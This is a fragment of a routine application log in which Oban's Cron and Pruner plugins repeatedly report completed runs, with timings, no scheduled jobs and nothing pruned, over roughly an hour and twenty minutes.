{"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.941 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:02.263 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:32.265 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.942 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:02.267 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:32.269 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.943 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:02.271 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:32.273 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.944 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:02.275 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:32.277 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.945 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:02.279 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:32.281 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.946 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:02.283 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:32.285 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.947 [info] {"source":"oban","duration":231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:02.287 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:32.289 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.948 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:02.292 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:32.294 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.949 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:02.296 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:32.298 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.950 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:02.300 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:32.302 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.951 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:02.304 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:32.306 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.952 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:02.309 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:32.311 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.953 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:02.313 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:32.315 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.954 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:02.317 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:32.319 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.955 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:02.321 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:32.323 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.956 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:02.325 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:32.327 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.957 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:02.329 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:32.331 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.958 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:02.333 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:32.335 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.959 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:02.337 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:32.339 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.960 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:02.341 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:32.343 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.961 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:02.345 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:32.347 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.962 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:02.349 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:32.351 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.963 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:02.353 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:32.355 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.964 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:02.357 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:32.359 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.965 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:02.361 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:32.363 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.966 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:02.365 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:32.367 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.967 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:02.369 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:32.371 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.968 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:02.373 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:32.375 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.969 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:02.377 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:32.379 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.970 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:02.382 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:32.384 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.971 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:02.386 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:32.388 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.972 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:02.390 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:32.392 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.973 [info] {"source":"oban","duration":141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:02.394 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:32.396 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.974 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:02.398 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:32.400 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.975 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:02.402 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:32.404 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.976 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:02.406 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:32.408 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.977 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:02.410 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:32.412 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.978 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:02.414 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:32.416 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.979 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:02.418 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:32.420 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.980 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:02.423 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:32.425 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.981 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:02.427 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:32.429 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.982 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:02.431 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:32.433 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.983 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:02.435 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:32.437 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.984 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:02.439 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:32.441 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.985 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:02.442 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:32.445 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.986 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:02.447 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:32.449 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.987 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:02.452 [info] {"source":"oban","duration":1982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:32.454 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.988 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:02.456 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:32.458 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.989 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:02.460 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:32.462 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.990 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:02.464 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:32.466 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.991 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:02.469 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:32.471 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.992 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:02.473 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:32.475 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.993 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:02.477 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:32.479 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.994 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:02.481 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:32.483 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.995 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:02.485 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:32.487 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.996 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:02.489 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:32.491 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.997 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:02.493 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:32.495 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.998 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:02.497 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:32.499 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.999 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:02.502 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:32.504 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:01.000 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:02.506 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:32.509 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.001 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:02.511 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:32.513 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.002 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:02.515 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:32.517 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.003 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:02.519 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:32.522 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.004 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:02.524 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:32.526 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.005 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:02.528 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:32.530 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.006 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:02.532 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:32.534 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.007 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:02.536 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:32.538 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.008 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:02.540 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:32.542 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.009 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:02.544 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:32.546 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.010 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:02.548 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:32.550 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.011 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:02.552 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:32.554 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.012 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:02.556 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:32.558 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.013 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:02.560 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:32.562 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.014 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:02.564 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:32.566 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.015 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:02.568 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:32.570 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.016 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:02.572 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:32.574 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.017 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:02.576 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:32.578 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.018 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:02.580 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:32.582 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.019 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:02.584 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:32.586 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.020 [info] 